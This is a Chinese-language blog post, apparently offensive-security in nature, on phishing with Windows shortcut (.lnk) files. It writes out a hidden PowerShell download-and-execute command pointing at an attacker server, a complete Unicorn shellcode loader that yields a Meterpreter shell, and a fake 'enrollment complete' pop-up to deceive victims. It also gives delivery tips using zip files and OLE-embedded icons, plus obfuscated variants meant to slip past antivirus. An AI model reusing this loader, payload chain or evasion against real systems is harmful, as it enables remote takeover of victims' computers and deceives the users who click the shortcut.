前言
最近,我阅读了一篇关于勒索软件Locky使用Windows快捷方式文件感染用户的博客文章。微软的这篇博文讲述了大规模网络钓鱼攻击是如何利用zip文件来发送Windows快捷方式文件的,具体详情请访问https://blogs.technet.microsoft.com/mmpc/2016/10/19/the-new-lnk-between-spam-and-locky-infection/。这种传播技术基于这样一个事实:cmd.exe和powershell.exe都允许通过传递参数来执行命令。创建包含命令参数的快捷方式后,只需双击就能执行某些PowerShell操作。
一种钓鱼攻击的新姿势
我们对各种钓鱼攻击以及与后门相关的东西进行大量分析后发现,它们通常需要借助于office的宏指令来利用PowerShell,或者借助某些格式的脚本,如.js/.wsf/.jse/.hta等等。但问题是,许多组织都已经通过组策略禁用了宏指令,并且不允许通过Web/电子邮件渠道来传输脚本文件。如果你还没有通过命令行来阻止Macro指令的执行的话,可以参考下面这篇文章,地址为https://blogs.technet.microsoft.com/mmpc/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/。
勒索软件Locky的传播采用的是下载然后执行的方法,由于相关文件会下载到硬盘上面,所以很容易被杀毒软件检测到。攻击者如果想要发动钓鱼攻击的话,必须设法躲避杀毒软件的追杀,所以,他们想到了使用使用lnk文件作为stager,加载另一个PowerShell脚本,然后让它来加载Meterpreter。为此,可以使用如下所示的快捷方式:
- %SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -command "IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.255.170/script');"
攻击者可以将第二阶段攻击代码托管在自己的网络服务器上,然后使用unicorn将Meterpreter的payload注入到内存。然后,可以结合使用一个弹出窗口,通知用户一切正常。因此,托管的“脚本”文件可以包含如下所示的内容:
- powershell -ExecutionPolicy bypass -window hidden -e <BASE64 ENCODED COMMAND>
需要注意的是,PowerShell通常要求命令采用unicode格式,所以最简单的做法是直接为PowerShell准备好base64编码的命令。否则,可以使用utf_16_le对命令进行相应的编码。对于弹出窗口,可以使用以下代码:
- #MessageBox
- [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") ;
- [System.Windows.Forms.MessageBox]::Show("Your system has now been enrolled, thank you for you cooperation.", "YourCompany Enrollment.") ;
- #Unicorn output
- $XF3ZnA = '$a9wC = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $a9wC -Name "Win32" -namespace Win32Functions -passthru;
- [Byte[]];[Byte[]]$z = 0xbf,0xbb,0x96,0xcd,0xd0,0xdb,0xc1,0xd9,0x74,0x24,0xf4,0x5d,0x2b,0xc9,0xb1,0x57,0x31,0x7d,0x15,0x83,0xc5,0x04,0x03,0x7d,0x11,0xe2,0x4e,0x6a,0x25,0x52,0xb0,0x93,0xb6,0x33,0x39,0x76,0x87,0x73,0x5d,0xf2,0xb8,0x43,0x16,0x56,0x35,0x2f,0x7a,0x43,0xce,0x5d,0x52,0x64,0x67,0xeb,0x84,0x4b,0x78,0x40,0xf4,0xca,0xfa,0x9b,0x28,0x2d,0xc2,0x53,0x3d,0x2c,0x03,0x89,0xcf,0x7c,0xdc,0xc5,0x7d,0x91,0x69,0x93,0xbd,0x1a,0x21,0x35,0xc5,0xff,0xf2,0x34,0xe4,0x51,0x88,0x6e,0x26,0x53,0x5d,0x1b,0x6f,0x4b,0x82,0x26,0x26,0xe0,0x70,0xdc,0xb9,0x20,0x49,0x1d,0x15,0x0d,0x65,0xec,0x64,0x49,0x42,0x0f,0x13,0xa3,0xb0,0xb2,0x23,0x70,0xca,0x68,0xa6,0x63,0x6c,0xfa,0x10,0x48,0x8c,0x2f,0xc6,0x1b,0x82,0x84,0x8d,0x44,0x87,0x1b,0x42,0xff,0xb3,0x90,0x65,0xd0,0x35,0xe2,0x41,0xf4,0x1e,0xb0,0xe8,0xad,0xfa,0x17,0x15,0xad,0xa4,0xc8,0xb3,0xa5,0x49,0x1c,0xce,0xe7,0x05,0x8c,0xb5,0x63,0xd6,0x38,0x42,0xe5,0xb8,0xd1,0xf8,0x9d,0x08,0x55,0x26,0x59,0x6e,0x4c,0x17,0xbe,0xc3,0x3c,0x04,0x13,0xb7,0xaa,0x90,0xc5,0x4e,0x8c,0x1b,0x3c,0xe3,0x81,0x89,0xbc,0x57,0x75,0x25,0x78,0x56,0x79,0xb5,0x96,0xd5,0x79,0xb5,0x66,0xc9,0x40,0xe7,0x57,0x23,0xd9,0x07,0xc8,0x23,0x4a,0x8e,0x77,0x75,0x8b,0x45,0x0e,0xbc,0x27,0x0d,0x11,0x73,0x28,0x49,0x42,0x20,0xfb,0x06,0x36,0x90,0x93,0x43,0xed,0x32,0x5f,0x6c,0xdb,0xdd,0xf5,0x98,0xbb,0x89,0x89,0xaf,0x43,0x4a,0x03,0x2f,0x29,0x4e,0x43,0xc5,0xb1,0x18,0x0b,0x6c,0x88,0x3a,0x4d,0x71,0xc1,0x10,0x01,0xde,0xb9,0xc0,0xcd,0xcd,0x3b,0xf5,0x76,0xf2,0x91,0x80,0x49,0x79,0x10,0xc4,0x3c,0x58,0x4c,0x2a,0x0b,0xf8,0xdb,0x35,0xa1,0x96,0xa3,0xa1,0x4a,0x76,0x24,0x32,0x23,0x76,0x24,0x72,0xb3,0x25,0x4c,0x2a,0x17,0x9a,0x69,0x35,0x82,0x8f,0x21,0x99,0xa4,0x48,0x92,0x75,0xb7,0xb6,0x1d,0x86,0xe4,0xe0,0x75,0x94,0x9c,0x85,0x64,0x67,0x75,0x10,0xa8,0xec,0xbb,0x91,0x2e,0x0c,0x87,0x20,0xf0,0x7b,0xe2,0x72,0x32,0xdc,0x04,0xf7,0x4b,0x1c,0x2b,0xc6,0x8a,0xd1,0xfa,0x19,0xdb,0x2d,0x2d,0x6b,0x16,0x7b,0x1f,0xba,0x6f,0xb3,0x5f;
- $g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$fRu=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($fRu.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$fRu,0,0,0);for (;;){Start-sleep 60};';
- $e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($XF3ZnA));$XF3Z = "-e ";if([IntPtr]::Size -eq 8){$ZsQ = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $ZsQ $XF3Z $e"}else{;iex "& powershell $XF3Z $e";} ;
上面的PowerShell代码会弹出一个含有Unicorn.py的输出的窗口,这就允许攻击者将二进制文件加载到内存中。
与基于脚本的攻击相比,快捷方式可以使用任意图标,这是一大优势。这样的话,我们可以给它指定一个吸引普通用户的图标,或者适合网络钓鱼场景的图标。
例如
或
所以,让我们总结一下:
用户点击快捷方式
PowerShell被执行
我们的脚本被下载并执行
我们收到meterpreter shell
用户点击并看到:
一旦弹出窗口关闭,第二部分代码就会被执行,攻击者就能收到shell。
由于当前版本的Outlook默认情况下会阻止lnk文件,所以可以考虑使用包含lnk文件的zip文件。实际上,攻击者可以通过文件下载方式来传播文件。为此,可以使用HTTPs Letsencrypt,一方面它是免费的,另一方面还能降低被检测到的可能性。
另一个有趣的方法是将文件作为OLE对象嵌入到office文档中。这种方法可以替代宏指令,同时还能尽量不引起用户的警觉。相对于双击作为嵌入对象的.exe文件来说,人们对于lnk文件的戒备心理明显要松懈得多。OLE对象的一大优点是,同样可以使用自定义图标:
单击office文档中的图标,就会执行我们的PowerShell脚本。在上面的截图中,使用的是一个简单的Excel图标,当然,也使用按钮图标——它适用于文件解密或某种形式的“激活”场景。
当前,有些反病毒软件公司已经开始对一些基于Invoke-Expression的脚本进行检测了。Invoke-Obfuscation可以帮助绕过AV检测,攻击者可以利用Invoke-Obfuscation对他们的脚本进行迭代处理,例如可以把下列代码:
- IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.255.170/script');
转换为:
- Invoke-Expression( ([Regex]::Matches(" ))93]rahC[ f-)';)}'+'0{tpi'+'rc'+'s/07'+'1.'+'552'+'.861.291//:ptth}0'+'{(g'+'nirt'+'Sda'+'oln'+'woD.'+')'+'tn'+'ei'+'lC'+'beW.teN.m'+'etsyS tcejbO'+'-weN('+' XE'+'I'((( XEI ",'.', 'RightToLeft')-Join'' ) )
继续转换为 :
- IEX( -JoIn ('49@6eM76M6fM6b{65U2d{45@78{70@72Z65Z73Z73Z69{6f<6e@28{20@20M28@5b{52U65@67&65&78U5d@3a<3aU4d<61M74@63<68I65M73U28@22{20&29{29M39<33<5dM72I61U68M43Z5bU20<20@66Z2d&29I27U3b{29M7dZ27U2b<27Z30M7bM74M70<69&27I2bI27{72I63Z27M2b@27@73M2fZ30&37I27M2b@27<31{2eZ27U2bM27@35I3532Z27Z2bZ27Z2e@38I36@31@2eI32U39{31I2f<2f<3a&70I74&74I68I7d<30{27{2bZ27@7b<28U67Z27&2b@27@6e<69&72Z74I27I2bM27@53Z64&61M27I2bZ27{6f<6c{6e@27&2bU27<77M6f&44<2eZ27<2b{27{29I27<2bI27Z74{6e<27@2b<27M65I69M27@2bI27&6cI43M27M2b@27U62<65&57{2eI74<65{4e{2e<6d@27I2b<27I65{74I73&79I53I20<74Z63Z65@6a{62U4f<27{2bZ27{2d&77U65&4eI28I27&2b<27{20Z58I45&27Z2b<27&49@27U28{28{28<20{58&45U49Z20I22&2c<27@2eM27M2c{20@27&52<69<67U68<74Z54Z6f@4c&65M66I74I27@29&2dM4a@6f@69M6e{27{27@20M29{20@29'-sPLit '<' -SPLIt'I'-SpLIT'Z'-splIT'&'-SPLit'{' -sPLit'M'-SPliT'U'-SPlIt'@'|FoREaCH-oBjECt{( [COnveRT]::ToInT16( ( [StrinG]$_),16 )-As[char]) } ))
在混淆PowerShell代码方面,Invoke-Obfuscation是一个非常强大的工具,能够节约大量的时间!